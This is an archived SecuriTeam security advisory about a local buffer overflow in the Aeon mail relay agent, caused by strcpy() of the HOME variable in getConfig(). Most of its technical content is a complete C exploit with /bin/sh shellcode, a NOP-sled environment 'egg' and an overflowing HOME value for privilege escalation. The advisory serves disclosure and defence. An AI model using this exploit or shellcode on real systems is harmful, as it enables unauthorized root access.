[UNIX] Aeon HOME Environment Buffer Overflow
SecuriTeam <[email protected]>
| Newsgroups | gmane.comp.security.securiteam |
|---|---|
| Message-ID | <[email protected]> |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Aeon HOME Environment Buffer Overflow
------------------------------------------------------------------------
SUMMARY
<http://www.abenetkiewicz.neostrada.pl> Aeon is "a simple mail relay
agent for Linux". A vulnerability in the way Aeon reads configuration
settings allows local attackers to cause the program to overflow an
internal buffer.
DETAILS
Vulnerable Systems:
* Aeon version 0.2a and prior
The application is affected by a buffer-overflow in the function
getConfig(). This function uses a strcpy() with a local buffer of 512
bytes where it stores the text from environment HOME.
In lib_aeon.c the following code can be found:
int getConfig(char settings[MAX_SETTINGS][MAX_LEN])
{
char home[MAX_LEN];
//...................................
strcpy(home, getenv("HOME"));
The result is that an attacker could raise his privileges.
Exploit:
/*
local linux exploit within aeon-0.2a
Coded by patr0n (security-tmp.h14.ru)
*/
#define BUFLEN 533
#define PATH "/home/research/aeon-0.2a/aeon"
char shellcode[]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/bin/sh";
int main(int argc, char *argv[]) {
char evilbuf[BUFLEN];
int i;
char *p,*av[2], *ev[3];
char *egg;
egg=(char *)malloc(1000);
sprintf(egg, "EGG=");
memset(egg + 4, 0x90, 1000-1-strlen(shellcode));
sprintf(egg + 4 + 1000-1-strlen(shellcode), "%s", shellcode);
long ret=0xbfffffff-5-strlen(egg)-strlen(PATH);
p=evilbuf;
bzero(evilbuf,sizeof(evilbuf));
strcpy(evilbuf,"HOME=");
for(i=5;i<=BUFLEN;i+=4)
*(long *)(p+i)=ret;
av[0] = PATH;
av[1] = 0;
ev[0] = egg;
ev[1] = evilbuf;
ev[2] = 0;
execve(*av, av, ev);
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:[email protected]> patr0n.
The original article can be found at:
<http://security-tmp.h14.ru/exploits/23laeon.c.txt>
http://security-tmp.h14.ru/exploits/23laeon.c.txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.